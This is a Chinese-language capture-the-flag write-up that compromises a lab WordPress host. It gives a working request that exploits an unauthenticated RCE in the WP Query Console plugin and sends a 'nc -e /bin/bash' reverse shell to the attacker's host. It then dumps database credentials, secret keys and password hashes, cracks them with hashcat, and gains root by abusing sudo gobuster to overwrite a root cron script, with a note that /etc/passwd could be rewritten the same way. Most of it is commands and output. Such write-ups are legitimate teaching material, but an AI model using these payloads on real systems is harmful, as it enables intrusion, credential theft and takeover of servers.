1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~]
└─# arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:26:ba:73, IPv4: 192.168.56.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:14 (Unknown: locally administered)
192.168.56.100 08:00:27:e5:3c:27 PCS Systemtechnik GmbH
192.168.56.118 08:00:27:1f:a3:ac PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.072 seconds (123.55 hosts/sec). 3 responded

┌──(root㉿kali)-[~]
└─# nmap 192.168.56.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 22:48 EST
Nmap scan report for 192.168.56.118
Host is up (0.000080s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:1F:A3:AC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds

访问发现wordpress框架

image-20250125113149058

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
┌──(root㉿kali)-[~]
└─# wpscan --api-token 8Aef0aqgv9u0RjzmwB8rf1futpZ770CpqEwGGOA2C1c --url http://192.168.56.118/ -e u,ap --plugins-detection aggressive
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.56.118/ [192.168.56.118]
[+] Started: Fri Jan 24 23:08:27 2025

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: nginx/1.14.2
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] robots.txt found: http://192.168.56.118/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.56.118/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.56.118/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.56.118/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.7.1 identified (Latest, released on 2024-11-21).
| Found By: Meta Generator (Passive Detection)
| - http://192.168.56.118/, Match: 'WordPress 6.7.1'
| Confirmed By: Rss Generator (Aggressive Detection)
| - http://192.168.56.118/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
| - http://192.168.56.118/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:14:20 <======================================================================================================================================> (108679 / 108679) 100.00% Time: 00:14:20
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
| Location: http://192.168.56.118/wp-content/plugins/akismet/
| Latest Version: 5.3.5 (up to date)
| Last Updated: 2024-11-19T02:02:00.000Z
| Readme: http://192.168.56.118/wp-content/plugins/akismet/readme.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.118/wp-content/plugins/akismet/, status: 200
|
| Version: 5.3.5 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.118/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.56.118/wp-content/plugins/akismet/readme.txt

[+] feed
| Location: http://192.168.56.118/wp-content/plugins/feed/
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.118/wp-content/plugins/feed/, status: 200
|
| The version could not be determined.

[+] wp-query-console
| Location: http://192.168.56.118/wp-content/plugins/wp-query-console/
| Latest Version: 1.0 (up to date)
| Last Updated: 2018-03-16T16:03:00.000Z
| Readme: http://192.168.56.118/wp-content/plugins/wp-query-console/README.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.56.118/wp-content/plugins/wp-query-console/, status: 403
|
| [!] 1 vulnerability identified:
|
| [!] Title: WP Query Console <= 1.0 - Unauthenticated Remote Code Execution
| References:
| - https://wpscan.com/vulnerability/f911568d-5f79-49b7-8ce4-fa0da3183214
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50498
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/ae07ca12-e827-43f9-8cbb-275b9abbd4c3
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.56.118/wp-content/plugins/wp-query-console/README.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==============================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] ta0
| Found By: Wp Json Api (Aggressive Detection)
| - http://192.168.56.118/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] welcome
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 4
| Requests Remaining: 21

[+] Finished: Fri Jan 24 23:23:28 2025
[+] Requests Done: 108751
[+] Cached Requests: 17
[+] Data Sent: 29.199 MB
[+] Data Received: 33.166 MB
[+] Memory used: 374.469 MB
[+] Elapsed time: 00:15:00

image-20250125115447832

image-20250125115516873

1
2
3
Content-Type: application/json

{"queryArgs":"phpinfo();","queryType":"post"}

image-20250125115829186

禁止了一些函数

image-20250125120029249

用shell_exec执行命令 但是发现没有回显

image-20250125120227551

但是使用ping是可以通的

image-20250125120921582

image-20250125120931512

nc弹shell

1
{"queryArgs":"shell_exec('nc -e /bin/bash 192.168.56.102 1234');","queryType":"post"}

image-20250125121104429

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.118] 49124
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@listen:~/html/wordpress$ ls
ls
index.php wp-blog-header.php wp-includes wp-signup.php
license.txt wp-comments-post.php wp-links-opml.php wp-trackback.php
readme.html wp-config-sample.php wp-load.php xmlrpc.php
update_url.php wp-config.php wp-login.php
wp-activate.php wp-content wp-mail.php
wp-admin wp-cron.php wp-settings.php
www-data@listen:~/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'll104567' );

/** Database password */
define( 'DB_PASSWORD', 'thehandsomeguy' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '2Ryf <:T/-4,9h?q%jDi(HKG_*1xH-nU+-//7[1H}zD@=q0ls8junY(~.MG@D[$S' );
define( 'SECURE_AUTH_KEY', '}z]MVJ|P5~X1!+76?dT?s|@A,92D4/+phWkWb=;I+k{_y)7,A,<=5|&z<tE:`HET' );
define( 'LOGGED_IN_KEY', 'p4w9>FcR>{+u:M,M4rT}VIW.[Pg=UZjzp8n{-/&F;j!nC49f-^~$unsry+lHW w!' );
define( 'NONCE_KEY', ';qi?~eGux58*l4NoDh@?<`^B6!HK{G:C85Hv8sC6<t,y}8veV4pvs#{ [[T?s123' );
define( 'AUTH_SALT', 'l2^yBli3l_G#J<T 2p}e#bS>j_=,!06$%qYd#I<p22c:z&`s?ic;7UxS$T6c{HXr' );
define( 'SECURE_AUTH_SALT', '<;95CFam*#)^qbL)a,KZXrqS$!]Ln^2yF2wg#Fa?9F<D)-,irw&nj/$pB)BR1u|O' );
define( 'LOGGED_IN_SALT', 'JaR6i0q<wZMJD-7HwE:7ZwtNxV$BJ%15=8~Bw(_jCL_`+<`^asIdv=$Yo81jE19K' );
define( 'NONCE_SALT', 'q!5K2-Q*^%Tf<lz)*o0&8/CCjU;8-jdLS4,*5vk/8,^j&]<S7+I&eO55C_CM6N@L' );

/**#@-*/

/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*
* At the installation time, database tables are created with the specified prefix.
* Changing this value after WordPress is installed will make your site think
* it has not been installed.
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
*/
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
if ( file_exists(ABSPATH . 'update-url.php') ) {
include_once(ABSPATH . 'update-url.php');
}



www-data@listen:~/html/wordpress$

拿到数据库账号密码

1
2
ll104567
thehandsomeguy

拿登录账号密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
www-data@listen:~/html/wordpress$ mysql -ull104567 -p
mysql -ull104567 -p
Enter password: thehandsomeguy

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 150696
Server version: 10.3.39-MariaDB-0+deb10u2 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| wordpress |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [(none)]> use wordpress
use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wordpress]> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.000 sec)

MariaDB [wordpress]> select * from wp_users
select *f��* from wp_users
-> ;
;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'f??* from wp_users' at line 1
MariaDB [wordpress]> select * from wp_users
select * from wp_users
-> ;
;
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
| 1 | ta0 | $P$BDDc71nM67DbOVN/U50WFGII6EF6.r. | ta0 | 2814928906@qq.com | http://192.168.31.181 | 2025-01-08 03:10:43 | | 0 | ta0 |
| 2 | welcome | $P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/ | welcome | 127.0.0.1@qq.com | | 2025-01-08 04:29:28 | 1736310568:$P$B2YbhlDVF1XWIurbL11Pfoasb./0tD. | 0 | welcome |
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
2 rows in set (0.000 sec)

MariaDB [wordpress]>
1
2
|  1 | ta0        | $P$BDDc71nM67DbOVN/U50WFGII6EF6.r. 
| 2 | welcome | $P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/
1
hashcat -m 400 -a 0 hash.txt ./rockyou.txt --show

image-20250125121903911

1
104567

image-20250125122100683

image-20250125122107003

拿flag1

image-20250125122124840

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/su
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
$ sudo -l
sudo -l
Matching Defaults entries for welcome on listen:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on listen:
(ALL) NOPASSWD: /usr/bin/gobuster

传个pspy64做定时任务的监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
welcome@listen:~$ wget http://192.168.56.102/pspy64
wget http://192.168.56.102/pspy64
--2025-01-24 23:28:00-- http://192.168.56.102/pspy64
Connecting to 192.168.56.102:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64 100%[===================>] 2.96M --.-KB/s in 0.03s

2025-01-24 23:28:00 (86.4 MB/s) - ‘pspy64’ saved [3104768/3104768]

welcome@listen:~$ chmod 777 pspy64
chmod 777 pspy64
welcome@listen:~$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/01/24 23:28:15 CMD: UID=1001 PID=1256 | ./pspy64
2025/01/24 23:28:15 CMD: UID=0 PID=1249 |
2025/01/24 23:28:15 CMD: UID=1001 PID=1229 | /bin/bash
2025/01/24 23:28:15 CMD: UID=1001 PID=1228 | python3 -c import pty;pty.spawn("/bin/bash")
2025/01/24 23:28:15 CMD: UID=0 PID=1224 |
2025/01/24 23:28:15 CMD: UID=1001 PID=1215 | sh
2025/01/24 23:28:15 CMD: UID=1001 PID=1211 | (sd-pam)
2025/01/24 23:28:15 CMD: UID=1001 PID=1210 | /lib/systemd/systemd --user
2025/01/24 23:28:15 CMD: UID=0 PID=1208 | su welcome
2025/01/24 23:28:15 CMD: UID=33 PID=1167 | /bin/bash
2025/01/24 23:28:15 CMD: UID=33 PID=1166 | python3 -c import pty;pty.spawn("/bin/bash")
2025/01/24 23:28:15 CMD: UID=33 PID=1165 | bash
2025/01/24 23:28:15 CMD: UID=33 PID=1164 | sh -c nc -e /bin/bash 192.168.56.102 1234
2025/01/24 23:28:15 CMD: UID=33 PID=1144 | /bin/bash
2025/01/24 23:28:15 CMD: UID=33 PID=1143 | python3 -c import pty;pty.spawn("/bin/bash")
2025/01/24 23:28:15 CMD: UID=33 PID=1138 | bash
2025/01/24 23:28:15 CMD: UID=33 PID=1137 | sh -c nc -e /bin/bash 192.168.56.102 1234
2025/01/24 23:28:15 CMD: UID=33 PID=1136 | php-fpm: pool www
2025/01/24 23:28:15 CMD: UID=33 PID=1133 | php-fpm: pool www
2025/01/24 23:28:15 CMD: UID=33 PID=1129 | php-fpm: pool www
2025/01/24 23:28:15 CMD: UID=33 PID=1128 | php-fpm: pool www
2025/01/24 23:28:15 CMD: UID=33 PID=1127 | php-fpm: pool www
2025/01/24 23:28:15 CMD: UID=0 PID=887 |
2025/01/24 23:28:15 CMD: UID=106 PID=515 | /usr/sbin/mysqld
2025/01/24 23:28:15 CMD: UID=33 PID=445 | nginx: worker process
2025/01/24 23:28:15 CMD: UID=0 PID=441 | nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
2025/01/24 23:28:15 CMD: UID=0 PID=396 | /usr/sbin/sshd -D
2025/01/24 23:28:15 CMD: UID=0 PID=381 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2025/01/24 23:28:15 CMD: UID=0 PID=360 | php-fpm: master process (/etc/php/7.3/fpm/php-fpm.conf)
2025/01/24 23:28:15 CMD: UID=0 PID=327 | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
2025/01/24 23:28:15 CMD: UID=0 PID=313 | /usr/sbin/cron -f
2025/01/24 23:28:15 CMD: UID=0 PID=310 | /usr/sbin/rsyslogd -n -iNONE
2025/01/24 23:28:15 CMD: UID=104 PID=308 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2025/01/24 23:28:15 CMD: UID=0 PID=307 | /lib/systemd/systemd-logind
2025/01/24 23:28:15 CMD: UID=0 PID=298 |
2025/01/24 23:28:15 CMD: UID=0 PID=297 |
2025/01/24 23:28:15 CMD: UID=101 PID=260 | /lib/systemd/systemd-timesyncd
2025/01/24 23:28:15 CMD: UID=0 PID=239 | /lib/systemd/systemd-udevd
2025/01/24 23:28:15 CMD: UID=0 PID=215 | /lib/systemd/systemd-journald
2025/01/24 23:28:15 CMD: UID=0 PID=187 |
2025/01/24 23:28:15 CMD: UID=0 PID=186 |
2025/01/24 23:28:15 CMD: UID=0 PID=184 |
2025/01/24 23:28:15 CMD: UID=0 PID=153 |
2025/01/24 23:28:15 CMD: UID=0 PID=116 |
2025/01/24 23:28:15 CMD: UID=0 PID=115 |
2025/01/24 23:28:15 CMD: UID=0 PID=113 |
2025/01/24 23:28:15 CMD: UID=0 PID=111 |
2025/01/24 23:28:15 CMD: UID=0 PID=110 |
2025/01/24 23:28:15 CMD: UID=0 PID=108 |
2025/01/24 23:28:15 CMD: UID=0 PID=106 |
2025/01/24 23:28:15 CMD: UID=0 PID=99 |
2025/01/24 23:28:15 CMD: UID=0 PID=59 |
2025/01/24 23:28:15 CMD: UID=0 PID=50 |
2025/01/24 23:28:15 CMD: UID=0 PID=49 |
2025/01/24 23:28:15 CMD: UID=0 PID=48 |
2025/01/24 23:28:15 CMD: UID=0 PID=30 |
2025/01/24 23:28:15 CMD: UID=0 PID=29 |
2025/01/24 23:28:15 CMD: UID=0 PID=28 |
2025/01/24 23:28:15 CMD: UID=0 PID=27 |
2025/01/24 23:28:15 CMD: UID=0 PID=26 |
2025/01/24 23:28:15 CMD: UID=0 PID=25 |
2025/01/24 23:28:15 CMD: UID=0 PID=24 |
2025/01/24 23:28:15 CMD: UID=0 PID=23 |
2025/01/24 23:28:15 CMD: UID=0 PID=22 |
2025/01/24 23:28:15 CMD: UID=0 PID=21 |
2025/01/24 23:28:15 CMD: UID=0 PID=20 |
2025/01/24 23:28:15 CMD: UID=0 PID=19 |
2025/01/24 23:28:15 CMD: UID=0 PID=18 |
2025/01/24 23:28:15 CMD: UID=0 PID=17 |
2025/01/24 23:28:15 CMD: UID=0 PID=16 |
2025/01/24 23:28:15 CMD: UID=0 PID=15 |
2025/01/24 23:28:15 CMD: UID=0 PID=14 |
2025/01/24 23:28:15 CMD: UID=0 PID=12 |
2025/01/24 23:28:15 CMD: UID=0 PID=11 |
2025/01/24 23:28:15 CMD: UID=0 PID=10 |
2025/01/24 23:28:15 CMD: UID=0 PID=9 |
2025/01/24 23:28:15 CMD: UID=0 PID=8 |
2025/01/24 23:28:15 CMD: UID=0 PID=6 |
2025/01/24 23:28:15 CMD: UID=0 PID=4 |
2025/01/24 23:28:15 CMD: UID=0 PID=3 |
2025/01/24 23:28:15 CMD: UID=0 PID=2 |
2025/01/24 23:28:15 CMD: UID=0 PID=1 | /sbin/init
2025/01/24 23:29:01 CMD: UID=0 PID=1263 | /usr/sbin/CRON -f
2025/01/24 23:29:01 CMD: UID=0 PID=1264 | /usr/sbin/CRON -f
2025/01/24 23:29:01 CMD: UID=0 PID=1265 | /bin/sh -c /bin/bash /opt/.test.sh

image-20250125122924304

但是welcome没有定时任务 因此是root全显在跑

image-20250125123118382

看了佬们的复盘发现思路好巧妙

监听读取对应文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
welcome@listen:/opt$ sudo gobuster -h
sudo gobuster -h
Usage of gobuster:
-P string
Password for Basic Auth (dir mode only)
-U string
Username for Basic Auth (dir mode only)
-a string
Set the User-Agent string (dir mode only)
-c string
Cookies to use for the requests (dir mode only)
-cn
Show CNAME records (dns mode only, cannot be used with '-i' option)
-e Expanded mode, print full URLs
-f Append a forward-slash to each directory request (dir mode only)
-fw
Force continued operation when wildcard found
-i Show IP addresses (dns mode only)
-k Skip SSL certificate verification
-l Include the length of the body in the output (dir mode only)
-m string
Directory/File mode (dir) or DNS mode (dns) (default "dir")
-n Don't print status codes
-np
Don't display progress
-o string
Output file to write results to (defaults to stdout)
-p string
Proxy to use for requests [http(s)://host:port] (dir mode only)
-q Don't print the banner and other noise
-r Follow redirects
-s string
Positive status codes (dir mode only) (default "200,204,301,302,307,403")
-t int
Number of concurrent threads (default 10)
-to duration
HTTP Timeout in seconds (dir mode only) (default 10s)
-u string
The target URL or Domain
-v Verbose output (errors)
-w string
Path to the wordlist
-x string
File extension(s) to search for (dir mode only)
welcome@listen:/opt$ sudo gobuster -w /opt/.test.sh -u http://192.168.56.102
sudo gobuster -w /opt/.test.sh -u http://192.168.56.102

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://192.168.56.102/
[+] Threads : 10
[+] Wordlist : /opt/.test.sh
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2025/01/24 23:33:56 Starting gobuster
=====================================================
=====================================================
2025/01/24 23:33:56 Finished
=====================================================
welcome@listen:/opt$

image-20250125123426184

如果留口子的话是可以考虑读私钥等东西的

但这里没留口子的话就是可以使用拼接的方式读取字符

如果我在本地touch一个a,在远端通过wordlist的方式拼接一个字符,那么就有可能将命令写入文件

image-20250125130556828

image-20250125130606002

我们新建一个b内容为反弹shell脚本 那么我们拼接一个/tmp/b即可

image-20250125130920957

image-20250125130848352

那么就可以构造出/tmp/b

image-20250125131055162

使用-o写入定时任务文件

image-20250125131211482

得到shell

image-20250125131235226

同理可以拼接/etc/passwd写入密码以达到新建root用户的作用